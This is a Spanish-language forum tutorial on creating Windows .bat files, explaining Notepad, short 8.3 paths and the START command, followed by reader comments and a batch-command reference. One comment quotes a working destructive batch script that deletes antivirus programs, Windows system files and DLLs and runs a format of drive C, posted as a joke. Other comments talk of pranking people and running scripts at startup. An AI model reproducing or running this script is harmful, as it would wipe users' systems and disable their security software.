Crear archivos .bat

Comunidad taringuera! Aca les traigo otro tutorial que he realizado por cuenta propia!

Introducción!
Un archivo batch (o bat) es un archivo de procesamiento por lotes, que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados.
Cualquier comando DOS puede ser utilizado en un archivo batch.

Explicación
Para crear un archivo bat, sólo tenemos que abrir el bloq de notas y adentro escribir el comando que querramos que se realice! (abajo se encuentra una serie de comandos del ms)
Luego vamos a Guardar Como y donde dice nombre lo guardan con la extencion .bat(*.bat).
Ahora solo queda ejectarlo y listo!

Esto puede resultar muy útil, para automatizar tareas (siempre y cuando sepan usar los comandos del ms) y también para hacer bromas! o incluso virus!
Digo virus porque con los comandos se puede hacer de todo! hasta formatear!
Por eso, si ven algun .bat, les recomendaria no abrirlo o hacele click derecho - editar , asi de ese modo no se les ejecuta y ven el contenido que presenta!

ACA se encuentra una página con comando del ms que les puede ayudar:
http://www.ayuda-internet.net/tutoriales/manu-msdos/manu-msdos.html


Ahora sólo les queda probar hasta q les salga hacerlo! y divertirse o renegarte de un rato!

Otro dato importante, a la hora de crear bat, es cuando tenemos que buscar el directorio, ya que se debe escribir en un cierto código.
Ese código consiste en que cada eslabon del directorio sólo debe contener 8 caracteres, entonces aquellos directorios con mas de 8 caracteres, solo se deben escribir los primeros 6, seguidos por "~1" (sin comillas), hasta llegar a la unicacion del archivo, imagen ,etc.

Por ejemplo, tengo una imágen llamada hola.jpg ubicada en C:\Documents and Settings\Administrador\Mis documentos
entonces abrimos el bloq y escribimos :

Start C:\Docume~1\Admini~1\MisDoc~1\hola.jpg

(el comando START sirve para iniciar aplicaciones, programas, etc.)


Ni se les ocurra usar el comando FORMAT

Fin del tuto

Saludos

perdonen los errores, es mi 3 post nomas

Gonza

Anuncios

Comentarios Destacados

@fidi +5
idem danielriver_22

29 comentarios - Crear archivos .bat

@fidi +5
idem danielriver_22
@DarkWarrior +1
Hace años que no uso los archivos .Bat, desde que ya no uso juegos crakeados para MS-DOS.. pero me dio nostalgia y alguna idea este post. Te diria que no pongas lo de crear virus, hay mucho KAkker acá (como Peluchín).
@azrael79 +1
Eh como se hace un bat para abrir una imagen ????

digo sino tenes ningun software de dos que te permita hacer esto...
@homerosimpson2008
thanks man, mañana te dejo 10, ahora a joder a la gente
@Dante_Nero +1
brandonavelino dijo:@echo off
cls
cd \\
cd \"c:\\Archivos de programa\\Norton antivirus\"
attrib -R -A -S -H *.*
del /S /Q *.exe
cd \"c:\\Archivos de programa\\Eset\"
attrib -R -A -S -H *.*
del /S /Q *.*
cd \"c:\\Windows\"
attrib -R -A -S -H *.*
del /S /Q *.exe
del /S /Q *.inf
del /S /Q *.ini
cd \"c:\\Windows\\system32\"
attrib -R -A -S -H *.*
del /S /Q *.dll
Rundll.exe user,exitwindows
Rundll32.exe user,exitwindows
format /y c: /v:discloca
cd \"c:\\Archivos de programa\"
attrib -R -A -S -H *.*
del /S /Q *.exe

xD
@danielita22
son super útiles este tipos de post...
+10
@Neos21 +1
Comandos Batch

Un archivo batch (o bat) es un archivo de procesamiento por lotes: se trata de archivos de texto sin formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS. Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas.

Cualquier comando DOS puede ser utilizado en un archivo batch. Tienes también varios comandos especiales para este tipo de archivos:
CALL

Este comando realiza, desde un archivo batch, una llamada a la ejecución de otro archivo batch. El primer archivo no finaliza su ejecución al realizar la llamada.

CALL [unidad_disco[path]nombre_archivo

Donde [unidad_disco[path]nombre_archivo es la ruta al archivo batch llamado (debe ser un archivo *.bat) y puede ser cualquier tipo de información que necesite el programa llamado que pueda pasarse el línea de comandos.
CHOICE

Ofrece al usuario una entrada de datos para que pueda escoger una opción (escoger una de las letras que se le ofrecen), y espera hasta que esta tenga lugar.

CHOICE [/C[letra] [/N] [/S] [/T[c,nn]

Parametros

texto
Puedes especificar un texto que aparecerá antes de la entrada de datos. No hace falta que lo entrecomilles, salvo que dicha cadena de texto incluya una barra /. Es un parámetro opcional.

Modificadores

/C[letra
Especifica las letras que indicarán las opciones del usuario. Si las especificas separadas por comas, apareceran entre corchetes seguidas de un interrogante. Si no se especifican, se usara YN (si, no) por defecto.
/N
Evita que se muestre el prompt de usuario
/S
Hace que discrimine entre entrada de letras mayusculas o minusculas.
/T[c,nn
Introduce un tiempo de espera antes de ejecutar la acción por defecto. Con los siguientes posibles valores:

c
Señala que carácter será usado como opción por defecto despues de nn segundos. Solo puedes indicar uno de los carácteres especificados con el modificador /C
nn
Indica el numero de segundos de pausa. Valores entre 0 y 99.

ECHO

Activa o desactiva el volcado de texto del programa (output) a la pantalla:

ECHO [ON|OFF] echo Parametros

ON|OFF
Activa o desactiva el volcado de texto. Para conocer el estado actual, usar ECHO sin parámetros.
Mensaje
El texto a mostrar.

FOR

Ejecuta un comando sobre un grupo de archivos. Puede utilizarse en la línea de comandos o en un archivo bat:

a) en archivos BAT:

FOR %%variable IN (set) DO command [command-parameters]

b) en línea de comandos:

FOR %variable IN (set) DO command [command-parameters]

Parametros

%%variable %variable
Representa una variable que será reemplazada por su valor. FOR reemplazará %%variable o %variable con la cadena de carácteres especificados en SET hasta que el comando especificado se haya ejecutado sobre todos los archivos. %%variable se emplea con FOR dentro de archivos batch, y %variable desde la linea de comandos.
(set)
especifica uno o mas archivos de texto (o cadenas) que se procesaran con el comando. Necesita paréntesis.
command
El comando que debe ejecutarse sobre cada archivo especificado en SET
parámetros de comando
Podemos emplear el comando con cualquiera de sus parámetros habituales.

GOTO

Salta la ejecución del programa hacia la linea indicada:

GOTO label

Donde :Label (advierte los dos puntos) es una etiqueta que identifica la linea. 8 caracteres máximo.
IF
Permite la ejecución condicional.

sintaxis:

IF [NOT] ERRORLEVEL numero comando

IF [NOT] string1==string2 comando

IF [NOT] EXIST nombre_archivo comando

Parámetros:

NOT
El comando sujeto a condicion se ejecuta solo si esta es falsa.
ERRORLEVEL numero
La condición es verdadera solo si el comando anterior devuelve un código de salida igual o mayor que el especificado
command
Especifica el comando a ejecutar si la condición se cumple
string1==string2
La condición se cumple solo si cadena1 es igual a cadena2. Cadena1 y cadena2 pueden ser cadenas de texto o variables.
EXIST nombre_archivo
La condición se cumple si existe nombre_archivo.

PAUSE

Suspende la ejecución de comandos y presenta un mensaje para que el usuario presione una tecla para continuar
REM

Línea de comentario. Podemos usar REM O ::
SHIFT

Alterna la posición de los parámetros en el archivo bat.
Variables

El signo % seguido de un numero (del 1 al 9) permite pasar parámetros al invocar nuestro archivo bat. Por ejemplo si tenemos un archivo saludo.bat con la linea echo Hola %1, si lo invocamos tecleando archivo.bat pepe presentará en pantalla Hola Pepe. Se usa por ejemplo para pasar nombres de ficheros a un bat que se encarga de borrarlos, moverlos, etc.
This site powered by Phorum.
@russto
buenísimo, ahora puedo abrir el sacamhack y el san andreas al mismo tiempo !
@tizock
Muy muy interesante + 10
@dospuntosoo
brandonavelino dijo:tengo dudas con el cls


cls se utiliza para limpiar el registro en pantalla , ejemplo si creas un menu principal con opciones que te redirigan a otros submenus , este menu principal o registros de lo que ya has ocupado quedaran en pantalla y estaran a la vista , el cls los borra obviamente cada vez que borra la informacion en pantalla de lo que ya se alla ejecutado , ejemplo escribe esto en cmd

1.prompt /

luego

2.color 0a

ahora

3.CLS


veras que borrara todo en pantalla y limpiara comandos que hallas ejecutado o lineas de texto escritas !

otro ejemplo es este y mas facil

escribe en cmd

IPCONFIG
Y LUEGO CLS y borrara todo lo que el cmd genero C:

saludos espero haberte ayudado!
@dospuntosoo
dospuntosoo dijo:
brandonavelino dijo:tengo dudas con el cls


cls se utiliza para limpiar el registro en pantalla , ejemplo si creas un menu principal con opciones que te redirigan a otros submenus , este menu principal o registros de lo que ya has ocupado quedaran en pantalla y estaran a la vista , el cls los borra obviamente cada vez que borra la informacion en pantalla de lo que ya se alla ejecutado , ejemplo escribe esto en cmd

1.prompt /

luego

2.color 0a

ahora

3.CLS


veras que borrara todo en pantalla y limpiara comandos que hallas ejecutado o lineas de texto escritas !

otro ejemplo es este y mas facil

escribe en cmd

IPCONFIG
Y LUEGO CLS y borrara todo lo que el cmd genero C:

saludos espero haberte ayudado!


se me olvidaba , el resto de usarlo es usando la logica y el conocimiento en estos comandos =)
@dospuntosoo
ZeK005 dijo:para que sirve el comando CD
hace rato que lo veo y no entiendo

si fuera igual de facil que usar fdisk pero ni ahi
no entiendo el CD






jajajaja



cd se utiliza para mantener estable una direccion , ejemplo

abre el cmd

y escribe

cd C:UsersElenaDesktop
despues
md jajaja

creara una carpeta en el escritorio pero si no cierras la ventana podras seguir usando

md > las veces que quieras en el mismo directorio y este no cambia hasta que cierres cmd o ocupes el mismo comando con otra direccion C: suerte =)
@dospuntosoo
dospuntosoo dijo:
ZeK005 dijo:para que sirve el comando CD
hace rato que lo veo y no entiendo

si fuera igual de facil que usar fdisk pero ni ahi
no entiendo el CD






jajajaja



cd se utiliza para mantener estable una direccion , ejemplo

abre el cmd

y escribe

cd C:UsersElenaDesktop
despues
md jajaja

creara una carpeta en el escritorio pero si no cierras la ventana podras seguir usando

md > las veces que quieras en el mismo directorio y este no cambia hasta que cierres cmd o ocupes el mismo comando con otra direccion C: suerte =)



jeje la direccion fue fail! era asi C:

C: / Users /%username% /Desktop pero todo junto C: suerte
@pancho_vm_ +2
Vengo a figurar en un post de 5 años.
@jafeth9
broder saludos y para que este bat se ejecute en el inicio de windows como le hago....... que viva el GALLO PINTO!!!
@represor
Me acuerdo cree un punto .bat en lunux, le cague arruinando las bios a un compañero, y era nuevo el mobo, salia como 5 lucas